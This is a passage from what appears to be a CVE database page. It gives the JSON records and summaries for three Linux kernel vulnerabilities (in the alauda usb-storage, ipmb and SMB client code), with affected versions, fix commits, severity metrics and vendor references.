            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-38619",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:11:41.791337Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:50.539Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:55:12.247Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/usb/storage/alauda.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "e0aab7b07a9375337847c9d74a5ec044071e01c8",
              "status": "affected",
              "version": "e80b0fade09ef1ee67b0898d480d4c588f124d5f",
              "versionType": "git"
            },
            {
              "lessThan": "51fe16c058acb22f847e69bc598066ed0bcd5c15",
              "status": "affected",
              "version": "e80b0fade09ef1ee67b0898d480d4c588f124d5f",
              "versionType": "git"
            },
            {
              "lessThan": "f68820f1256b21466ff094dd97f243b7e708f9c1",
              "status": "affected",
              "version": "e80b0fade09ef1ee67b0898d480d4c588f124d5f",
              "versionType": "git"
            },
            {
              "lessThan": "3eee13ab67f65606faa66e0c3c729e4f514838fd",
              "status": "affected",
              "version": "e80b0fade09ef1ee67b0898d480d4c588f124d5f",
              "versionType": "git"
            },
            {
              "lessThan": "e0e2eec76920a133dd49a4fbe4656d83596a1361",
              "status": "affected",
              "version": "e80b0fade09ef1ee67b0898d480d4c588f124d5f",
              "versionType": "git"
            },
            {
              "lessThan": "2cc32639ec347e3365075b130f9953ef16cb13f1",
              "status": "affected",
              "version": "e80b0fade09ef1ee67b0898d480d4c588f124d5f",
              "versionType": "git"
            },
            {
              "lessThan": "24bff7f714bdff97c2a75a0ff6a368cdf8ad5af4",
              "status": "affected",
              "version": "e80b0fade09ef1ee67b0898d480d4c588f124d5f",
              "versionType": "git"
            },
            {
              "lessThan": "16637fea001ab3c8df528a8995b3211906165a30",
              "status": "affected",
              "version": "e80b0fade09ef1ee67b0898d480d4c588f124d5f",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/usb/storage/alauda.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.16"
            },
            {
              "lessThan": "2.6.16",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.317",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.279",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.221",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.162",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.95",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.35",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.6",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.317",
                  "versionStartIncluding": "2.6.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.279",
                  "versionStartIncluding": "2.6.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.221",
                  "versionStartIncluding": "2.6.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.162",
                  "versionStartIncluding": "2.6.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.95",
                  "versionStartIncluding": "2.6.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.35",
                  "versionStartIncluding": "2.6.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.6",
                  "versionStartIncluding": "2.6.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "2.6.16",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb-storage: alauda: Check whether the media is initialized\n\nThe member \"uzonesize\" of struct alauda_info will remain 0\nif alauda_init_media() fails, potentially causing divide errors\nin alauda_read_data() and alauda_write_lba().\n- Add a member \"media_initialized\" to struct alauda_info.\n- Change a condition in alauda_check_media() to ensure the\n  first initialization.\n- Add an error check for the return value of alauda_init_media()."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:20:16.910Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/e0aab7b07a9375337847c9d74a5ec044071e01c8"
        },
        {
          "url": "https://git.kernel.org/stable/c/51fe16c058acb22f847e69bc598066ed0bcd5c15"
        },
        {
          "url": "https://git.kernel.org/stable/c/f68820f1256b21466ff094dd97f243b7e708f9c1"
        },
        {
          "url": "https://git.kernel.org/stable/c/3eee13ab67f65606faa66e0c3c729e4f514838fd"
        },
        {
          "url": "https://git.kernel.org/stable/c/e0e2eec76920a133dd49a4fbe4656d83596a1361"
        },
        {
          "url": "https://git.kernel.org/stable/c/2cc32639ec347e3365075b130f9953ef16cb13f1"
        },
        {
          "url": "https://git.kernel.org/stable/c/24bff7f714bdff97c2a75a0ff6a368cdf8ad5af4"
        },
        {
          "url": "https://git.kernel.org/stable/c/16637fea001ab3c8df528a8995b3211906165a30"
        }
      ],
      "title": "usb-storage: alauda: Check whether the media is initialized",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-38619",
    "datePublished": "2024-06-20T06:47:32.444Z",
    "dateReserved": "2024-06-18T19:36:34.945Z",
    "dateUpdated": "2026-05-12T11:55:12.247Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-58051 (GCVE-0-2024-58051)

Vulnerability from cvelistv5 – Published: 2025-03-06 15:53 – Updated: 2026-05-12 12:02

Title

ipmi: ipmb: Add check devm_kasprintf() returned value

Summary

In the Linux kernel, the following vulnerability has been resolved: ipmi: ipmb: Add check devm_kasprintf() returned value devm_kasprintf() can return a NULL pointer on failure but this returned value is not checked.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/1a8a17c5ce9cb5a82…
https://git.kernel.org/stable/c/caac520350546e736…
https://git.kernel.org/stable/c/eb288ab33fd875797…
https://git.kernel.org/stable/c/312a6445036d692bc…
https://git.kernel.org/stable/c/4c9caf86d04dcb10e…
https://git.kernel.org/stable/c/e529fbcf1f35f5fc3…
https://git.kernel.org/stable/c/a63284d415d4d114a…
https://git.kernel.org/stable/c/2378bd0b264ad3a1f…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 51bd6f291583684f495ea498984dfc22049d7fd2 , < 1a8a17c5ce9cb5a82797602bff9819ac732d2ff5 (git) Affected: 51bd6f291583684f495ea498984dfc22049d7fd2 , < caac520350546e736894d14e051b64a9edb3600c (git) Affected: 51bd6f291583684f495ea498984dfc22049d7fd2 , < eb288ab33fd87579789cb331209ff09e988ff4f7 (git) Affected: 51bd6f291583684f495ea498984dfc22049d7fd2 , < 312a6445036d692bc5665307eeafa4508c33c4b5 (git) Affected: 51bd6f291583684f495ea498984dfc22049d7fd2 , < 4c9caf86d04dcb10e9fd8cd9db8eb79b5bfcc4d8 (git) Affected: 51bd6f291583684f495ea498984dfc22049d7fd2 , < e529fbcf1f35f5fc3c839df7f06c3e3d02579715 (git) Affected: 51bd6f291583684f495ea498984dfc22049d7fd2 , < a63284d415d4d114abd8be6e66a9558f3ca0702d (git) Affected: 51bd6f291583684f495ea498984dfc22049d7fd2 , < 2378bd0b264ad3a1f76bd957caf33ee0c7945351 (git)
Linux	Linux	Affected: 5.3 Unaffected: 0 , < 5.3 (semver) Unaffected: 5.4.291 , ≤ 5.4.* (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.129 , ≤ 6.1.* (semver) Unaffected: 6.6.76 , ≤ 6.6.* (semver) Unaffected: 6.12.13 , ≤ 6.12.* (semver) Unaffected: 6.13.2 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T19:33:43.664Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:02:00.613Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/char/ipmi/ipmb_dev_int.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "1a8a17c5ce9cb5a82797602bff9819ac732d2ff5",
              "status": "affected",
              "version": "51bd6f291583684f495ea498984dfc22049d7fd2",
              "versionType": "git"
            },
            {
              "lessThan": "caac520350546e736894d14e051b64a9edb3600c",
              "status": "affected",
              "version": "51bd6f291583684f495ea498984dfc22049d7fd2",
              "versionType": "git"
            },
            {
              "lessThan": "eb288ab33fd87579789cb331209ff09e988ff4f7",
              "status": "affected",
              "version": "51bd6f291583684f495ea498984dfc22049d7fd2",
              "versionType": "git"
            },
            {
              "lessThan": "312a6445036d692bc5665307eeafa4508c33c4b5",
              "status": "affected",
              "version": "51bd6f291583684f495ea498984dfc22049d7fd2",
              "versionType": "git"
            },
            {
              "lessThan": "4c9caf86d04dcb10e9fd8cd9db8eb79b5bfcc4d8",
              "status": "affected",
              "version": "51bd6f291583684f495ea498984dfc22049d7fd2",
              "versionType": "git"
            },
            {
              "lessThan": "e529fbcf1f35f5fc3c839df7f06c3e3d02579715",
              "status": "affected",
              "version": "51bd6f291583684f495ea498984dfc22049d7fd2",
              "versionType": "git"
            },
            {
              "lessThan": "a63284d415d4d114abd8be6e66a9558f3ca0702d",
              "status": "affected",
              "version": "51bd6f291583684f495ea498984dfc22049d7fd2",
              "versionType": "git"
            },
            {
              "lessThan": "2378bd0b264ad3a1f76bd957caf33ee0c7945351",
              "status": "affected",
              "version": "51bd6f291583684f495ea498984dfc22049d7fd2",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/char/ipmi/ipmb_dev_int.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.3"
            },
            {
              "lessThan": "5.3",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.291",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.129",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.76",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.13",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.291",
                  "versionStartIncluding": "5.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "5.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "5.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.129",
                  "versionStartIncluding": "5.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.76",
                  "versionStartIncluding": "5.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.13",
                  "versionStartIncluding": "5.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.2",
                  "versionStartIncluding": "5.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "5.3",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nipmi: ipmb: Add check devm_kasprintf() returned value\n\ndevm_kasprintf() can return a NULL pointer on failure but this\nreturned value is not checked."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:02:20.562Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/1a8a17c5ce9cb5a82797602bff9819ac732d2ff5"
        },
        {
          "url": "https://git.kernel.org/stable/c/caac520350546e736894d14e051b64a9edb3600c"
        },
        {
          "url": "https://git.kernel.org/stable/c/eb288ab33fd87579789cb331209ff09e988ff4f7"
        },
        {
          "url": "https://git.kernel.org/stable/c/312a6445036d692bc5665307eeafa4508c33c4b5"
        },
        {
          "url": "https://git.kernel.org/stable/c/4c9caf86d04dcb10e9fd8cd9db8eb79b5bfcc4d8"
        },
        {
          "url": "https://git.kernel.org/stable/c/e529fbcf1f35f5fc3c839df7f06c3e3d02579715"
        },
        {
          "url": "https://git.kernel.org/stable/c/a63284d415d4d114abd8be6e66a9558f3ca0702d"
        },
        {
          "url": "https://git.kernel.org/stable/c/2378bd0b264ad3a1f76bd957caf33ee0c7945351"
        }
      ],
      "title": "ipmi: ipmb: Add check devm_kasprintf() returned value",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-58051",
    "datePublished": "2025-03-06T15:53:56.175Z",
    "dateReserved": "2025-03-06T15:52:09.178Z",
    "dateUpdated": "2026-05-12T12:02:00.613Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-21844 (GCVE-0-2025-21844)

Vulnerability from cvelistv5 – Published: 2025-03-12 09:42 – Updated: 2026-05-12 12:04

Title

smb: client: Add check for next_buffer in receive_encrypted_standard()

Summary

In the Linux kernel, the following vulnerability has been resolved: smb: client: Add check for next_buffer in receive_encrypted_standard() Add check for the return value of cifs_buf_get() and cifs_small_buf_get() in receive_encrypted_standard() to prevent null pointer dereference.

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-476 - NULL Pointer Dereference

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/f277e479eea3d1aa1…
https://git.kernel.org/stable/c/f618aeb6cad2307e4…
https://git.kernel.org/stable/c/24e8e4523d3071bc5…
https://git.kernel.org/stable/c/9e5d99a4cf2e23c71…
https://git.kernel.org/stable/c/a9b0b4b29877cb4dc…
https://git.kernel.org/stable/c/554736b583f529ee1…
https://git.kernel.org/stable/c/860ca5e50f73c2a1c…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: b03c8099a738a04d2343547ae6a04e5f0f63d3fa , < f277e479eea3d1aa18bc712abe1d2bf3dece2e30 (git) Affected: 858e73ff25639a0cc1f6f8d2587b62c045867e41 , < f618aeb6cad2307e48a641379db610abcf593edf (git) Affected: 9f528a8e68327117837b5e28b096f52af4c26a05 , < 24e8e4523d3071bc5143b0db9127d511489f7b3b (git) Affected: 534733397da26de0303057ce0b93a22bda150365 , < 9e5d99a4cf2e23c716b44862975548415fae5391 (git) Affected: eec04ea119691e65227a97ce53c0da6b9b74b0b7 , < a9b0b4b29877cb4dc5d0842b59b5ccbacddb85bd (git) Affected: eec04ea119691e65227a97ce53c0da6b9b74b0b7 , < 554736b583f529ee159aa95af9a0cbc12b5ffc96 (git) Affected: eec04ea119691e65227a97ce53c0da6b9b74b0b7 , < 860ca5e50f73c2a1cef7eefc9d39d04e275417f7 (git)
Linux	Linux	Affected: 6.7 Unaffected: 0 , < 6.7 (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.130 , ≤ 6.1.* (semver) Unaffected: 6.6.80 , ≤ 6.6.* (semver) Unaffected: 6.12.17 , ≤ 6.12.* (semver) Unaffected: 6.13.5 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 5.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2025-21844",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-10-01T19:26:41.993251Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-476",
                "description": "CWE-476 NULL Pointer Dereference",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-10-01T19:36:34.743Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T19:38:00.594Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00045.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:04:02.128Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/smb/client/smb2ops.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "f277e479eea3d1aa18bc712abe1d2bf3dece2e30",
              "status": "affected",
              "version": "b03c8099a738a04d2343547ae6a04e5f0f63d3fa",
              "versionType": "git"
            },
            {
              "lessThan": "f618aeb6cad2307e48a641379db610abcf593edf",
              "status": "affected",
              "version": "858e73ff25639a0cc1f6f8d2587b62c045867e41",
              "versionType": "git"
            },
            {
              "lessThan": "24e8e4523d3071bc5143b0db9127d511489f7b3b",
              "status": "affected",
              "version": "9f528a8e68327117837b5e28b096f52af4c26a05",
              "versionType": "git"
            },
            {
              "lessThan": "9e5d99a4cf2e23c716b44862975548415fae5391",
              "status": "affected",
              "version": "534733397da26de0303057ce0b93a22bda150365",
              "versionType": "git"
            },
            {
              "lessThan": "a9b0b4b29877cb4dc5d0842b59b5ccbacddb85bd",
              "status": "affected",
              "version": "eec04ea119691e65227a97ce53c0da6b9b74b0b7",
              "versionType": "git"
            },
            {
              "lessThan": "554736b583f529ee159aa95af9a0cbc12b5ffc96",
              "status": "affected",
              "version": "eec04ea119691e65227a97ce53c0da6b9b74b0b7",
              "versionType": "git"
            },
            {
              "lessThan": "860ca5e50f73c2a1cef7eefc9d39d04e275417f7",
              "status": "affected",
              "version": "eec04ea119691e65227a97ce53c0da6b9b74b0b7",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/smb/client/smb2ops.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.7"
            },
            {
              "lessThan": "6.7",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.130",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.80",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.17",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.5",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "5.10.211",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "5.15.150",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.130",
                  "versionStartIncluding": "6.1.69",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.80",
                  "versionStartIncluding": "6.6.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.17",
                  "versionStartIncluding": "6.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.5",
                  "versionStartIncluding": "6.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "6.7",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: Add check for next_buffer in receive_encrypted_standard()\n\nAdd check for the return value of cifs_buf_get() and cifs_small_buf_get()\nin receive_encrypted_standard() to prevent null pointer dereference."
        }
      ],
      "providerMetadata": {
